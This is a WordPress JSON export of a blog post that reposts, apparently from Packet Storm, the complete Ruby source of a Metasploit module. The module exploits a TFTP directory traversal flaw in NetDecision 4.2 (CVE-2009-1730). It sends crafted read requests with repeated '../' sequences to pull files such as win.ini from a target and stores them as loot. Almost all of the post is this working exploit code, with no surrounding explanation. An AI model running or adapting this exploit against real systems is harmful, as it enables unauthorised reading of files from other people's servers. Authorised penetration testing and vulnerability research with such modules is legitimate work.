{"id":59329,"date":"2024-09-01T03:00:14","date_gmt":"2024-09-01T00:00:14","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180940\/netdecision_tftp.rb.txt"},"modified":"2024-09-01T03:00:14","modified_gmt":"2024-09-01T00:00:14","slug":"netdecision-4-2-tftp-directory-traversal","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/netdecision-4-2-tftp-directory-traversal\/","title":{"rendered":"NetDecision 4.2 TFTP Directory Traversal"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize(info={})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8220;NetDecision 4.2 TFTP Directory Traversal&#8221;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This modules exploits a directory traversal vulnerability in NetDecision 4.2<br \/>TFTP service.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Rob Kraus&#8217;, # Vulnerability discovery<br \/>&#8216;juan vazquez&#8217; # Metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[&#8216;CVE&#8217;, &#8216;2009-1730&#8217;],<br \/>[&#8216;OSVDB&#8217;, &#8216;54607&#8217;],<br \/>[&#8216;BID&#8217;, &#8216;35002&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2009-05-16&#8217;<br \/>))<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(69),<br \/>OptInt.new(&#8216;DEPTH&#8217;, [false, &#8220;Levels to reach base directory&#8221;,1]),<br \/>OptString.new(&#8216;FILENAME&#8217;, [false, &#8216;The file to loot&#8217;, &#8216;windows\\\\win.ini&#8217;]),<br \/>])<br \/>end<\/p>\n<p>def run_host(ip)<\/p>\n<p># Configure how deep we want to traverse<br \/>depth = (datastore[&#8216;DEPTH&#8217;].nil? or datastore[&#8216;DEPTH&#8217;] == 0) ? 10 : datastore[&#8216;DEPTH&#8217;]# Prepare the filename<br \/>file_name = &#8220;..\/&#8221; * depth<br \/>file_name &lt;&lt; datastore[&#8216;FILENAME&#8217;]\n<p># Prepare the packet<br \/>pkt = &#8220;\\x00\\x01&#8221;<br \/>pkt &lt;&lt; file_name<br \/>pkt &lt;&lt; &#8220;\\x00&#8221;<br \/>pkt &lt;&lt; &#8220;octet&#8221;<br \/>pkt &lt;&lt; &#8220;\\x00&#8221;<\/p>\n<p># We need to reuse the same port in order to receive the data<br \/>udp_sock = Rex::Socket::Udp.create(<br \/>{<br \/>&#8216;Context&#8217; =&gt; {&#8216;Msf&#8217; =&gt; framework, &#8216;MsfExploit&#8217;=&gt;self}<br \/>}<br \/>)<\/p>\n<p>add_socket(udp_sock)<\/p>\n<p># Send the packet to target<br \/>file_data = &#8221;<br \/>udp_sock.sendto(pkt, ip, datastore[&#8216;RPORT&#8217;].to_i)<\/p>\n<p>while (r = udp_sock.recvfrom(65535, 0.1) and r[1])<\/p>\n<p>opcode, block, data = r[0].unpack(&#8220;nna*&#8221;) # Parse reply<br \/>if opcode != 3 # Check opcode: 3 =&gt; Data Packet<br \/>print_error(&#8220;Error retrieving file #{file_name} from #{ip}&#8221;)<br \/>return<br \/>end<br \/>file_data &lt;&lt; data<br \/>udp_sock.sendto(tftp_ack(block), r[1], r[2].to_i, 0) # Ack<\/p>\n<p>end<\/p>\n<p>if file_data.empty?<br \/>print_error(&#8220;Error retrieving file #{file_name} from #{ip}&#8221;)<br \/>return<br \/>end<\/p>\n<p>udp_sock.close<\/p>\n<p># Output file if verbose<br \/>vprint_line(file_data.to_s)<\/p>\n<p># Save file to disk<br \/>path = store_loot(<br \/>&#8216;netdecision.tftp&#8217;,<br \/>&#8216;application\/octet-stream&#8217;,<br \/>ip,<br \/>file_data,<br \/>datastore[&#8216;FILENAME&#8217;])<\/p>\n<p>print_status(&#8220;File saved in: #{path}&#8221;)<br \/>end<\/p>\n<p>#<br \/># Returns an Acknowledgement<br \/>#<br \/>def tftp_ack(block=1)<\/p>\n<p>pkt = &#8220;\\x00\\x04&#8221; # Ack<br \/>pkt &lt;&lt; [block].pack(&#8220;n&#8221;) # Block Id<\/p>\n<p>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Report def initialize(info={})super(update_info(info,&#8216;Name&#8217; =&gt; &#8220;NetDecision 4.2 TFTP Directory Traversal&#8221;,&#8216;Description&#8217; =&gt; %q{This modules exploits a directory traversal vulnerability in NetDecision 4.2TFTP service.},&#8216;License&#8217; =&gt; MSF_LICENSE,&#8216;Author&#8217; =&gt;[&#8216;Rob Kraus&#8217;, # Vulnerability discovery&#8216;juan vazquez&#8217; # Metasploit module],&#8216;References&#8217; =&gt;[[&#8216;CVE&#8217;, &#8216;2009-1730&#8217;],[&#8216;OSVDB&#8217;, &#8216;54607&#8217;],[&#8216;BID&#8217;, &#8216;35002&#8217;]],&#8216;DisclosureDate&#8217; =&gt; &#8216;2009-05-16&#8217;)) register_options([Opt::RPORT(69),OptInt.new(&#8216;DEPTH&#8217;, [false, &#8220;Levels &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59329","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59329","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59329"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59329\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59329"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59329"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59329"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}